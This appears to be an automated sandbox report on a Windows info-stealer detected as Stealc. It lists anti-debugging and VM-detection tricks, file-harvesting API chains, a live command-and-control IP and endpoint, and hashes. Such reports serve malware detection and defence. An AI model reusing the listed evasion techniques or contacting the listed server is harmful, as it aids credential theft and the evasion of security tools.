Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58302C8 second address: 58302FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F04D4C79EAAh 0x00000012 xor si, 8BB8h 0x00000017 jmp 00007F04D4C79EABh 0x0000001c popfd 0x0000001d mov dl, al 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58302FA second address: 58302FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58302FE second address: 583031A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12034AD second address: 12034B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1041A4C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1041B3F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 128CEDD instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DF4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00DEE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00DF4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00DEED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DE16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEF68A FindFirstFileA,	0_2_00DEF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DF3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00DF3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00DEBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DEDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00DEDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DE1160 GetSystemInfo,ExitProcess,

0_2_00DE1160

Source: file.exe, file.exe, 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2206022743.00000000019D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2206022743.00000000019A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13684
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13681
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13696
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13701
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13736

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DE45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00DE45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00DF9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF9750 mov eax, dword ptr fs:[00000030h]

0_2_00DF9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00DF78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1400, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00DF9600

Source: file.exe, file.exe, 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: RProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00DF7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00DF7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00DF7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DF7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00DF7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2163147892.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2163147892.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/rsonation	17%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.2206022743.000000000195E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpoW	file.exe, 00000000.00000002.2206022743.00000000019B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/rsonation	file.exe, 00000000.00000002.2206022743.00000000019A1000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpE	file.exe, 00000000.00000002.2206022743.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/KW	file.exe, 00000000.00000002.2206022743.00000000019B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php4	file.exe, 00000000.00000002.2206022743.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpY	file.exe, 00000000.00000002.2206022743.00000000019D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpIh	file.exe, 00000000.00000002.2206022743.00000000019A1000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540731
Start date and time:	2024-10-24 04:00:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, login.live.com, otelrules.azureedge.net, ocsp.edge.digicert.com, ctldl.windowsupdate.com
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	http://360mozambique.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://go.board.com/u/MDYzLVhVUC03MjQAAAGWWmuBSHLu2qnjT2fd3i42hMc8hwQGFhiaAKjDUUamE35KumMEYtASBjkNxUKrq50VZoODfB4=	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.amalkongsirezeki20245.org-now.info/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.paypal.com/invoice/payerView/details/INV2-N92X-T2Z2-AHQ9-TKQH?locale.x=en_US&v=1&utm_source=unp&utm_medium=email&utm_campaign=RT000238&utm_unptid=3863e735-915a-11ef-98e8-79ac3b3090e7&ppid=RT000238&cnac=US&rsta=en_US%28en-US%29&unptid=3863e735-915a-11ef-98e8-79ac3b3090e7&calc=f264059569334&unp_tpcid=invoice-buyer-notification&page=main%3Aemail%3ART000238&pgrp=main%3Aemail&e=cl&mchn=em&s=ci&mail=sys&appVersion=1.287.1&tenant_name=&xt=145585%2C134644%2C150948%2C104038&link_ref=details_inv2-n92x-t2z2-ahq9-tkqh	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://email.sg.on24event.com/ls/click?upn=u001.7kf5QUY4LGF7Fzt7LGE4bbPPsSPtBC4KXSPVJqWhtiGKhz4oV3PFLo8UDeLKYv23KHw-2BibCQbosx-2BrYm8YSguIMuXvCpYeqDDvEw6xfy3Div01ANz8r2e-2FhGLQvDi-2BscSWac3BuupWFH6VNOvVWTJC9zO-2BHJCietQ-2FJZFwQgpHI-3D-lRS_d2mIoWmaHN9uElWsaXGXS4tx0xN0zdn5dS-2BOd7-2Fl3QSVFRRmw1zxHoUF8IFkv0vPmX9e-2FpcJrwktm83M8wunod8BspGgLLPEF1if2HBchZeffUo4j9EJFkeG71k3QLUGbt-2BPOzOXmt4QJd92N-2FZHTYo2XD8iUgnUizXXtivzF3d3iwCm-2B4LgJBsV4Xj2wRfUmVe-2BZzLNjzm9yfKXdaFtrYnt3SwNpb5k3iumV8n5Skx7pt7Un0CDOQuxQvoQfT71JluCxsB4NeK-2Fb76-2BFnzVpaElc921KXwzYV6gy0TRcRMyq5WidmSlSRF6xkfJgLjfEzUFzNEG7kEBleVDqxb6JQ-3D-3D	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://vmcsolvo.prismhrperformance.com/Login.aspx?AppraisalId=6724	Get hash	malicious	Phisher	Browse	192.229.221.95
	https://email.sg.on24event.com/ls/click?upn=u001.7kf5QUY4LGF7Fzt7LGE4bbPPsSPtBC4KXSPVJqWhtiGKhz4oV3PFLo8UDeLKYv23KHw-2BibCQbosx-2BrYm8YSguIMuXvCpYeqDDvEw6xfy3Div01ANz8r2e-2FhGLQvDi-2Bsc6FaIlcwFy323lwaarteGjoXmAWZ77DlZFrOHhjmiQr0-3DAi8m_lHclm8QYORDEd2i1pY8iiMApMxjKNwDzndXGWMwL-2FVaDLkCrIb-2FgQKm-2FutG0KO72H4SwpKalRDTUzZfsGO863iRy8WKrdz16mk5ZOGquq7bqjhyuPTPBO-2B-2FobhNL-2Fiw0sbfNj7OSue-2FIppdS72L8KeReKi2sYygPTTUQ6FAZhpELqizFuVYiSYb7LJ3FcFAt7VFGjIc0LjDO04TCb7Kr3RXi3OZtFXZptudql-2F9FGONhK9uxyg17fFjiwf-2FcA9HXVgOgmHDjs4LDrNR-2BYyJF8UalpN336eGaZthgfCiWJNcRv5lq5bxuf1619fxrkzY38vtDNJAVjrDOY4sJJgNY5A-3D-3D	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://t.co/JJxL0428u4	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://email.email.pandadoc.net/c/eJxUkE9r4zwQxj-NdUuQR5ItHXQobfwG3rLQsmHbXspIGjeqE8m1FYfm0y-B7f65DcP8ht_zBOsa4XrNQvanI6XyGoPN-f7_7ilGN8iYdk8Pn-dxt_vOyNYtmMZwDpztLRpXK45GaGy9C943vK2NJgTDG-WQRQscZM1B1AJaztfS904pGYLuOTQtVZLTEeNhPWIKGLJfJyoszq9lQk_oDmTLdCJ2sPtSxrkSNxV0FXQ4jn8Qn48VdF_6FXQLVKIreaBUiTvSzgiJNQeJqLDhSoJpBAanJYFWrZO1kb6uRMdSLrGPHkvM6VqDaxuBBtpVCyBWEkW9wkbTCsko1-galQ4sT2-Y4uU39N85y5jEfDMn83C50P6beDlv2WTDe040V5K702Ggj9NhvKqziZY4_2J_iM3H6W67XV7Uop9j2dyq0D-yYr_S_TWuCk5v9M9mvl4sFtg5T8M8oqfrU_W4od1nvwdHIdy798HfDs_6ZwAAAP__1K2kLg	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://app.pandadoc.com/document/v2?token=69b8ae0059c2551a9a27ed1b65653c1a0b5ee1ff	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948392018956134
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'918'464 bytes
MD5:	7cec6eefc34f3702d47fa5a28cbbb929
SHA1:	dfe6aa0c35d17240cc857447d90614cec2d05b1a
SHA256:	a6f91d78572a12eb6f938220ee73f01ee43ef6fdfaaedf8439c0be80553dd841
SHA512:	a8084f055dd47af7fd85131424d7eb1f4f209c976e3147d1f11d0c5632dbc4dedd790f7c65b0811a64a8458a9bea4877a6cc33c5b01b5ee49982ed1fffc2f912
SSDEEP:	49152:4YSJ4c9/mvcJh6c+6wujKJg2B9ORT/ZpLFnzOf:RSJ4q/Ph6c+6wd9OR/ZHq
TLSH:	B195336B0AC1D922C3F76FB12A1AE20429254BD4F942CFD15E78F36F560423CA27B5D6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xac9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F04D4EF805Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	85cd43525bc4c803e27560ab6670b642	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2bb000	0x200	1e512c31ef3536712b3e2ac2364be61e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fzxkvimr	0x519000	0x1af000	0x1ae400	9920e2e582323dc8e5295f53ab158ff0	False	0.9951563407902382	data	7.9537968539439525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
